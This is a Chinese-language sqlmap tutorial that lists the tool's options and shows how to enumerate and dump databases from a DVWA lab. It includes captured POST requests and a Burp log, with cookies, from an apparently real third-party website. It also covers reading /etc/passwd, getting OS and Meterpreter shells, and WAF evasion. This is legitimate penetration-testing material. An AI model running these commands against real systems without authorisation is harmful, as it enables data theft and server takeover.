Sqlmap

开源,python编写

支持5种SQL注入检测技术:

1、基于布尔的注入检测

2、基于时间的注入检测

3、基于错误的注入检测

4、基于UNION联合查询的检测

5、基于堆叠查询的检测

支持的数据库管理系统(可能不支持mongodb)

mysql、oracle、postgresql、sql_server、access、DB2等

其他特性:

数据库直接连接(相当于数据库的一个client):-d

与burpsuite、google结合使用,支持正则表达式限定测试目标

注入检测包含Get、post、cookie、referer、user-agent等部分内容

限速:最大并发、延迟发送

支持Basic、Digest、NTLM、CA身份认证

探测数据库版本、探测用户、提权、hash枚举、字典爆破、暴力破解表列名

文件上传下载、用户定义函数(UDF)、启动并执行存储过程、操作系统命令执行、访问windows注册表

与问w3af、metasploit集成结合使用,基于数据库服务进程提权和上传执行后门

强调:sqlmap由于没有爬虫机制,不会像其他web扫描器一样,你给它一个url它就开始自己边爬边扫了。而是你提交给它的url中有几个变量就扫描几个变量,不会由这个url延伸至其他url。如果想对整站进行扫描可以配合burp suite日志使用,即浏览器挂代理burp suite,然后用浏览器将目标站点能点的都点一遍,最后用sqlmap去读取burp suite的日志进行扫描。

基本用法:

1、检测get方法中的变量:

sqlmap -u "http://172.16.224.197/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"     ====>此时sqlmap将对“id”和“Submit”这两个变量进行检测

##############上面执行过一次注入检测且发现注入点后,再执行下面的命令时就不会再次进行注入检测了,而是直接利用注入点################

sqlmap -u "http://172.16.224.197/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --tables     ===>查询目标系统数据库内有什么表
sqlmap -u "http://172.16.224.197/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --columns -D dvwa -T users ====>查询“dvwa”这个数据库中“users”这个表有什么列
sqlmap -u "http://172.16.224.197/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -D dvwa -T users -C user --dump ===>查询“dvwa”这个数据库中“users”这个表的“user”列的内容

2、检测POST方法中的变量(如果是POST方式提交的变量则用参数“-r”和“-l”最为方便!)

sqlmap -r packet.txt

packet.txt内容为:

POST /search.aspx HTTP/1.1
Host: www.lingchuanw.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.lingchuanw.com/
Content-Type: application/x-www-form-urlencoded
Content-Length: 17
Cookie: wwwlingchuanwcomCodestate=state=669341881534447178; UM_distinctid=16cbc486f499-0d5c7dbaba350c8-396b4645-232800-16cbc486f4a38d; CNZZDATA1256815596=863944232-1566526959-%7C1566526959
Connection: close
Upgrade-Insecure-Requests: 1 c=1&keyword=1dafs
sqlmap -l request.log --batch

request.log内容为:

======================================================

H11:04:02  https://www.lingchuanw.com:443  [112.124.47.239]
======================================================
POST /search.aspx HTTP/1.1
Host: www.lingchuanw.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.lingchuanw.com/info/list.html?keywords=1dafs
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
Cookie: wwwlingchuanwcomCodestate=state=669341881534447178; UM_distinctid=16cbc486f499-0d5c7dbaba350c8-396b4645-232800-16cbc486f4a38d; CNZZDATA1256815596=863944232-1566526959-%7C1566526959
Connection: close
Upgrade-Insecure-Requests: 1 c=1&keyword=111
====================================================== ====================================================== H11:04:03 https://www.lingchuanw.com:443 [112.124.47.239]
======================================================
GET /info/list.html?keywords=111 HTTP/1.1
Host: www.lingchuanw.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.lingchuanw.com/info/list.html?keywords=1dafs
Cookie: wwwlingchuanwcomCodestate=state=669341881534447178; UM_distinctid=16cbc486f499-0d5c7dbaba350c8-396b4645-232800-16cbc486f4a38d; CNZZDATA1256815596=863944232-1566526959-%7C1566526959
Connection: close
Upgrade-Insecure-Requests: 1 ====================================================== ====================================================== H11:04:35 https://www.lingchuanw.com:443 [112.124.47.239]
======================================================
GET /job/ HTTP/1.1
Host: www.lingchuanw.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.lingchuanw.com/info/list.html?keywords=1dafs
Cookie: wwwlingchuanwcomCodestate=state=669341881534447178; UM_distinctid=16cbc486f499-0d5c7dbaba350c8-396b4645-232800-16cbc486f4a38d; CNZZDATA1256815596=863944232-1566526959-%7C1566526959
Connection: close
Upgrade-Insecure-Requests: 1 ====================================================== ====================================================== H11:04:53 https://www.lingchuanw.com:443 [112.124.47.239]
======================================================
GET /job/ HTTP/1.1
Host: www.lingchuanw.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: wwwlingchuanwcomCodestate=state=669341881534447178; UM_distinctid=16cbc486f499-0d5c7dbaba350c8-396b4645-232800-16cbc486f4a38d; CNZZDATA1256815596=863944232-1566526959-%7C1566526959
Connection: close
Upgrade-Insecure-Requests: 1 ======================================================

参数说明:

--batch 全局使用默认选项,不与人进行交互,适合全自动工作

target类:

-d 数据库直接连接(相当于数据库的一个client),举例:sqlmap -d "mysql://user:password@127.0.0.1:3306/t1" --users

-u 后跟待检测url,待检测url最好用""括起来(适用于表单内容用GET提交时)

--force-sl 如果是https则需加该参数

-p 指定检查哪个变量

扫描举例:sqlmap -u "http://192.168.209.133/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" -p username

-r 加载http请求信息(当表单内容用POST提交时需将该数据包截获下来存成文本文件,再用-r参数去读取)

-l 加载http请求信息(当表单内容用POST提交时用Burp保存的log作为http请求信息),参数后跟log文件路径  ===>利用这个特点可以浏览器挂burp代理,将想要注入测试的网页都点一遍,然后将日志丢给sqlmap让它去将刚才鼠标点到的网页都扫一遍

-f 获取目标数据库指纹信息

-m 后跟待检测url组成的文件

-g 后跟google搜索语句,举例:sqlmap -g "inurl:\".php?id=1\""

-c 加载配置文件

request类(建议每个参数的数据都用""括起来,e.g:--method='GET'):

--method 强制使用某种请求方法,e.g:--method=GET

--data 使用POST方法请求并构造http包内数据,e.g: --data="我是POST的数据部分"

--param-del web程序默认情况下分隔不同变量用的是'&',假如遇到一些奇葩web程序用其他符号来作为分隔符就需要用这个参数告诉sqlmap哪个是变量分隔符, e.g:                sqlmap -u "http://1.1.1.1/muti-translate.gif?hid=abc:(这里的分隔符一般都是&)action=bcd" --param-del=":"

--cookie 携带cookie扫描(比较牛逼的是携带cookie扫描时如果cookie有更新不需手工指定,sqlmap会自动将cookie更换为新的cookie)

--drop-set-cookie 关闭cookie自动更新功能

--user-agent 用来指定扫描时候携带的user-agent,如果没有指定则使用默认(sqlmap/1.0-dev-xxx(http://sqlmap.org))

--random-agent 使用一个随机的user-agent(不是随机字符串,是从user-agent字典(/usr/share/sqlmap/txt/user-agents.txt)中随机抽取一个)

--host 用来指定扫描时携带的host

--referrer 用来指定扫描时携带的referrer

--headers 构建多个特殊的http头部变量,e.g:Accept-Language: fr\nETag: 123 ===>注意:每个头部变量以\n分隔

--auth-type 选择web认证类型,支持Basic, Digest, NTLM or PKI

--auth-cred 构造用户名密码,e.g:--auth-cred=user:password

--proxy 指定扫描时使用的代理,e.g:--proxy="http://127.0.0.1:8080"

--proxy-cred 指定代理服务器的用户名密码,e.g:--proxy-cred="user:password"

--ignore-proxy 忽略系统级代理,通常用于扫描本地网络目标

--delay 每次http(s)请求之间延迟时间,浮点数,单位为秒,默认无延迟,e.g:--delay=5.3

--timeout 请求超时时间,浮点数,默认为30秒

--retries http(s)连接超时重试次数,默认3次

--randomize 每次提交http请求时都将指定变量变为一个随机值(此随机值与原来的值格式类型相同),e.g: sqlmap -u "http://1.1.1.1/a.php?user=admin&id=1" -p user --randomize=id(注入测试user的同时每次id的值也不一样)

--safe-freq 指定发送多少次探测请求包后发送一次正常包(发送大量失败请求可能会触发目标的主动防御机制),e.g:--safe-freq=10

--skip-urlencode 不对url进行编码(默认GET方法会对传输内容进行编码,某些WEB服务器不遵守RFC标准编码,使用原始字符提交数据)

--eval 每次请求前执行指定的python代码对url中的变量进行计算(即url中存在某种依赖时(因果、时间等)可以写一段python来计算这个依赖),e.g: sqlmap -u "http://1.1.1.1/a.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"  ===>每次请求前通过该python语句对id进行hash后赋值给url中的hash

Injection类:

-p 指定要注入哪个变量,只用-p参数后--level失效(--level不同等级注入测试的变量范围不同,这里用了-p后则只注入手工指定的这一个变量),e.g: -p "id,user,passwd"

--skip 排除指定的扫描参数,e.g: --level=5 --skip="user-agent,id"   ===>扫描level5这个范围内的变量,除去user-agent,id

--dbms 指定目标是哪种数据库(如果不指定默认会先扫描目标是哪种数据库,指定后可以提高扫描效率),e.g: --dbms=MySQL

--dbms-cred 如果知道目标数据库用户名密码可以用这个参数携带用户名密码去查询,这样查询的结果更全面(起初觉得都知道用户名密码了还用sqlmap干嘛,仔细一想:对方数据库可能只允许目标web服务器连接,所以这个参数就有必要了)

--os 指定目标底层是哪种操作系统(不同操作系统可能会用到不同的探测语句),e.g: --os=linux

--tamper 指定某个混淆脚本来混淆payload,以躲过WAF、IPS的查杀,e.g: --tamper="space2plus.py,uppercase.py"  ===>混淆脚本路径:/usr/share/sqlmap/tamper/

Detection类:

--level 检查的深度(一共5个等级,1级最低)   (当level>=2时才会尝试注入cookie的变量,level>=3时才会尝试注入user-agent的变量)

--risk 检查时造成的破坏程度(一共3个等级,1级最低)

Enumeration类(找到注入点后要榨取数据库内的哪些信息):

--current-user 查询现在这个web程序是用哪个账户登录的数据库

--current-db 查询现在这个web程序所用的是数据库系统中的哪个数据库

--banner 获取目标数据库banner信息

--user 查询目标数据库系统的的数据库账号有哪些

--dbs 查询目标数据库系统拥有哪些数据库

--schema 查询目标数据库系统的infomation_schema信息

--privileges 查询目标数据库系统内所有账户对应的权限

-D 选中某一个数据库(只显示指定的数据库)

-T 选中某一个表

-C 选中某一个列

--columns 查询指定数据库中指定表中有哪些列,e.g: -D dvwa -T users --columns

--count 对选中的内容进行数量统计

--dump 查询指定对象中的具体数据,e.g: 数据库中指定表的具体内容,-D dvwa -T users --dump

--start 只查询表中的一部分数据,后跟起始行数

--stop 只查询表中的一部分数据,后跟末尾行数

--exclude-sysdbs 不让系统库显示(减少干扰)

--sql-query 后跟自定义的SQL语句,e.g: --sql-query="select * from users"  ===> 经测试仅可以跟select语句,跟create语句不生效

Brute force类(当数据库系统没有information_schema库或者当前账号无权读取information_schema库时,数据库的表名、列名就需要暴力破解了):

--common-tables     暴力破解当前数据库所包含的表名称

--common-columns    暴力破解指定表的列,e.g: -T users --common-columns

File system access类(访问有SQL注入目标的操作系统文件):

--file-read 下载有SQL注入漏洞的操作系统文件,e.g: --file-read="/etc/passwd"

--file-write 向有SQL注入漏洞的操作系统上传文件

--file-dest 规定上传路径,e.g: --file-write="a.txt" --file-dest="/tmp/a.txt"

Operating system access类(对目标操作系统进行操作):

--os-cmd 执行系统命令,e.g: --os-cmd="pwd"

--os-shell 返回一个shell

--sql-shell 返回一个sql的shell

--os-pwn 返回一个Meterpreter or VNC的shell

General类:

--scope 利用正则表达式删选待扫描的目标url,e.g: sqlmap -l burp.log --socpe="正则表达式"  ===>这样sqlmap就只会扫描burp.log文件中匹配到正则的url了

-s 修改扫描会话文件保存路径(每扫描过一个目标都会在本地生成一个文件来保存结果,下次扫描该目标时就直接读取这个结果,而不会重新扫描,如果想要重新扫描则需删除这个文件)

-t 修改记录流量文件保存位置

--charset 强制字符编码

--crawl 从起始位置爬网的深度,e.g: --crawl=3

--fresh-queries 忽略存在本地的session信息,对已扫描过的目标重新发起扫描(如果不加这个参数去扫描曾经扫描过的对象,其实是读取的本地储存的上次扫描结果)

--flush-session 清空本地储存的session后再扫描

--force-ssl 使用https访问

--check-waf 检测WAF/IPS

--identify-waf 彻底的WAF/IPS检测

--hpp 通过"HTTP parameter pollution"漏洞绕过WAF/IPS,尤其对windows平台有效

Optimization类(优化):

--predict-output 根据不同的检测方法,对比返回值和字典里的内容,不断缩小检测范围(匹配到其中一个后同类型中其他的就不再检测了。默认是所有种类都会跑一遍),提高效率。与--threads参数不兼容

--keep-alive 使用http长连接(有些WAF可能会对频繁的三次握手进行拦截,此时就可使用长连接)。与--proxy参数不兼容

--null-connection 只获取相应页面的大小值,而非页面具体内容。通常用于盲注判断 真/假 ,降低网络带宽消耗。与--text-only参数不兼容

-o 同时开启前三个性能参数(除--threads参数)

--threads 最大并发线程,默认值为1,建议不超过10。与--predict-output参数不兼容

Miscellaneous(优化):

--mobile 模拟手机发起请求

--wizard 进行向导模式

SQL注入神器———Sqlmap!的更多相关文章

  1. Sql注入测试--Sqlmap

    慕课网sqlmap学习笔记: 一.SQL注入 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 例如 (1)在url上 ...

  2. 初识sql注入及sqlmap

    对于sql注入小白的我,上午在红黑联盟的网站上恶补了一下sql注入的基础知识,(走马观花)似乎明白sql注入是怎么一回事,也看了一些关于sqlmap的资料,再次记录一下吧 下面是关于sqlmap这个工 ...

  3. 防止sql注入和sqlmap介绍

    sql注入问题从WEB诞生到现在也一直没停过,各种大小公司都出现过sql注入问题,导致被拖库,然后存在社工库撞库等一系列影响. 防止sql注入个人理解最主要的就一点,那就是变量全部参数化,能根本的解决 ...

  4. 『安全工具』注入神器SQLMAP

    Pic by Baidu 0x 00 前言 正是SQLMAP这种神器的存在,SQL注入简直Easy到根本停不下来.... PS:国内类似软件也有阿D,明小子,挖掘机,当你用过他们之后你才会发现SQLM ...

  5. SQL注入工具sqlmap的注入过程记录

    1.sqlmap的get注入 假设目标是 https://www.baidu.com/news.php?id=1&data=2 sqlmap语句 列库 sqlmap.py -u "h ...

  6. 【转】SQL注入(通过sqlmap来改变所有事情)

    第一步: sqlmap基于Python2.72版本,所以首先下载: https://www.python.org/  记住不要下载python3 第二步: 安装Python,将sqlmap解压到Pyt ...

  7. 详解强大的SQL注入工具——SQLMAP

    1. 前言  Windows下的注入工具好的又贵,免费的啊D.明小子等又不好用,我们根本没必要花 时间去找什么破解的havij.pangolin什么的,特别是破解的工具很可能被绑了木马.其实 Linu ...

  8. sql注入工具sqlmap使用参数说明

    Options(选项):--version 显示程序的版本号并退出-h, --help 显示此帮助消息并退出-v VERBOSE 详细级别:0-6(默认为1)Target(目标):以下至少需要设置其中 ...

  9. SQL注入之sqlmap进阶

    上一篇我们对sqlmap进行简单的介绍,并介绍了一些·sqlmap的基础用法,这篇让我们来更深入的了解一下sqlmap,了解一下它的强大功能. 探测等级 参数为 --level 在sqlmap中一共有 ...

随机推荐

  1. 检测一个App是不是有UWP血统

    Win + Shift + Enter   

  2. Python3 pickle模块用法

    pickle(python3.x)和cPickle(python2.x的模块)相当于java的序列化和反序列化操作. 常采用下面的方式使用: import pickle pickle.dump(obj ...

  3. 【翻译】全新16英寸MacBook Pro评测:开发人员的梦想成真

    要问现在适合开发者用的笔记本,市面上还是有很多选择的,比如Dell的XPS系列,外星人系列(游戏也是杠杠滴),联想拯救者系列,还有形形色色的高配机型,价格也从几千到几万不等. 但是,笔吧评测室的猪哥说 ...

  4. Dijkstra.NET 库体验报告

    在VS里用Nuget下载"Dijkstra.NET"库,然后就可以在需要的地方使用了. 首先,这是一个简单的graph,5个节点,7条边. 上代码 移动端看不清楚的可以看下面的: ...

  5. 修改so库中的依赖名

    修改so库中的依赖名 在ArchLinuxArm上有一些针对aarch64, arm, armeabi-v7a等Android常用架构的so库可以下载,有时候可以省去很多编译时间,且都是编译optim ...

  6. VUE组件 之 高德地图地址选择

    注:本文基于上一篇文章[ Vue-Cli 3.0 中配置高德地图] ,采用直接引入高德 SDK 的方式来使用高德地图api 一.效果图 二.组件要实现的功能 1. 如果有传入坐标点,则定位到坐标点 2 ...

  7. InnoDB Architecture (InnoDB In-Memory Structures 转载)

    转载.节选于 https://dev.mysql.com/doc/refman/8.0/en/innodb-in-memory-structures.html InnoDB Architecture ...

  8. Java_枚举Enum基本使用

    特性 在某些情况下,一个类的对象时有限且固定的,如季节类,它只有春夏秋冬4个对象这种实例有限且固定的类,在 Java 中被称为枚举类: 在 Java 中使用 enum 关键字来定义枚举类,其地位与 c ...

  9. SQL Server 索引分析开关

    set statistics io onset statistics profile on

  10. Python:将爬取的网页数据写入Excel文件中

    Python:将爬取的网页数据写入Excel文件中 通过网络爬虫爬取信息后,我们一般是将内容存入txt文件或者数据库中,也可以写入Excel文件中,这里介绍关于使用Excel文件保存爬取到的网页数据的 ...